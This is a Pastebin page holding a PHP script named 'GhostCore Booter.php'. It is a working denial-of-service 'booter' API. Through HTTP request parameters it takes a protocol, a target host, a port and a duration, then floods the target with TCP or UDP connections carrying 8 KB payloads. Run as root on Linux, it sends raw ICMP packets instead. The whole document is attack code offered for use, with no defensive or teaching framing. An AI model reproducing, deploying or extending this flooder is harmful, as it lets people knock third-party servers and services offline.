x2Fusion

PHP GhostCore Booter.php

Sep 14th, 2015
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.16 KB | None | 0 0
  1. <?php
  2.  
  3. GhostCore::getInst();
  4. class GhostCore
  5. {
  6.     private $action = null;
  7.     private $reqargs = null;
  8.    
  9.     public static function getInst()
  10.     {
  11.         static $inst = null;
  12.         if ($inst === null)
  13.         {
  14.             $inst = new self;
  15.         }
  16.         return $inst;
  17.     }
  18.    
  19.     private function __construct()
  20.     {
  21.         $this->action = isset($_REQUEST['act'])?$_REQUEST['act']:null;
  22.         if($this->action == null)
  23.         {
  24.             die("API Error #001: You have not entered an action!");
  25.         }
  26.         unset($_REQUEST['act']);
  27.         if(count($_REQUEST) < 3)
  28.         {
  29.             die("API Error #002: You have not entered a correct amount of arguments!");
  30.         }
  31.         foreach($_REQUEST as $key => $val)
  32.         {
  33.             $this->reqargs[] = "$key:$val";
  34.         }
  35.         $this->reqargs = implode('|', $this->reqargs);
  36.        
  37.         $this->initStartup();
  38.         $this->parseRequest();
  39.     }
  40.    
  41.     private function initStartup()
  42.     {
  43.         set_time_limit(0);
  44.         @ini_set('output_buffering', 'off');
  45.         @ini_set('zlib.output_buffering', false);
  46.         @ini_set('zlib.output_compression', false);
  47.         @ini_set('implicit_flush', true);
  48.         for($ob = 0; $ob < ob_get_level(); $ob++)
  49.         {
  50.             ob_end_flush();
  51.         }
  52.         ob_implicit_flush(true);
  53.         header('Content-type: text/plain');
  54.         header('Cache-control: no-cache');
  55.     }
  56.    
  57.     private function parseRequest()
  58.     {
  59.         list($time, $host, $port) = explode("|", $this->reqargs);
  60.         $time = explode(':', $time)[1];
  61.         $host = explode(':', $host)[1];
  62.         $port = explode(':', $port)[1];
  63.        
  64.         switch(strtolower($this->action))
  65.         {
  66.             default:
  67.                 die("API Error #003: You have entered an incorrect action!");
  68.             break;
  69.             case 'tcp':
  70.                 // TCP Flood
  71.                 $this->cycleFlood($time, $this->action, $host, $port);
  72.             break;
  73.             case 'udp':
  74.                 // UDP Flood
  75.                 $this->cycleFlood($time, $this->action, $host, $port);
  76.             break;
  77.             case 'icmp':
  78.                 // ICMP Flood
  79.                 if(!$this->cycleFlood($time, $this->action, $host, 0))
  80.                 {
  81.                     die("Failed: This function uses SOCK_RAW and requires you to be root!");
  82.                 }
  83.             break;
  84.         }
  85.         die('Success');
  86.     }
  87.    
  88.     private function cycleFlood($time = 60, $proto = 'tcp', $host = null, $port = 80)
  89.     {
  90.         if($proto != 'icmp')
  91.         {
  92.             $etime = time() + intval($time);
  93.             $pckt = str_repeat('P', 8192);
  94.             while(true)
  95.             {
  96.                 if(time() >= $etime)
  97.                 {
  98.                     break;
  99.                 }
  100.                 $pckt++;
  101.                 $fp = @fsockopen("$proto://$host", $port, $errno, $errstr, 1);
  102.                 if($fp)
  103.                 {
  104.                     fwrite($fp, $pckt);
  105.                     fclose($fp);
  106.                 }
  107.             }
  108.             return true;
  109.         }
  110.         else
  111.         {
  112.             if(strtoupper(substr(PHP_OS, 0, 3)) === 'LIN')
  113.             {
  114.                 if(getmyuid() == 0 || getmygid() == 0)
  115.                 {
  116.                     $etime = time() + intval($time);
  117.                     while(true)
  118.                     {
  119.                         if(time() >= $etime)
  120.                         {
  121.                             break;
  122.                         }
  123.                         $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
  124.                         $socket  = @socket_create(AF_INET, SOCK_RAW, 1);
  125.                         @socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => 1, 'usec' => 0));
  126.                         @socket_connect($socket, $host, null);
  127.                         $ts = microtime(true);
  128.                         @socket_send($socket, $package, strlen($package), 0);
  129.                         if(@socket_read($socket, 255))
  130.                         {
  131.                             @socket_close($socket);
  132.                         }
  133.                     }
  134.                 }
  135.                 else { return false; }
  136.             }
  137.             else { return false; }
  138.            
  139.             return true;
  140.         }
  141.     }
  142.    
  143. }
Advertisement
Add Comment
Please, Sign In to add comment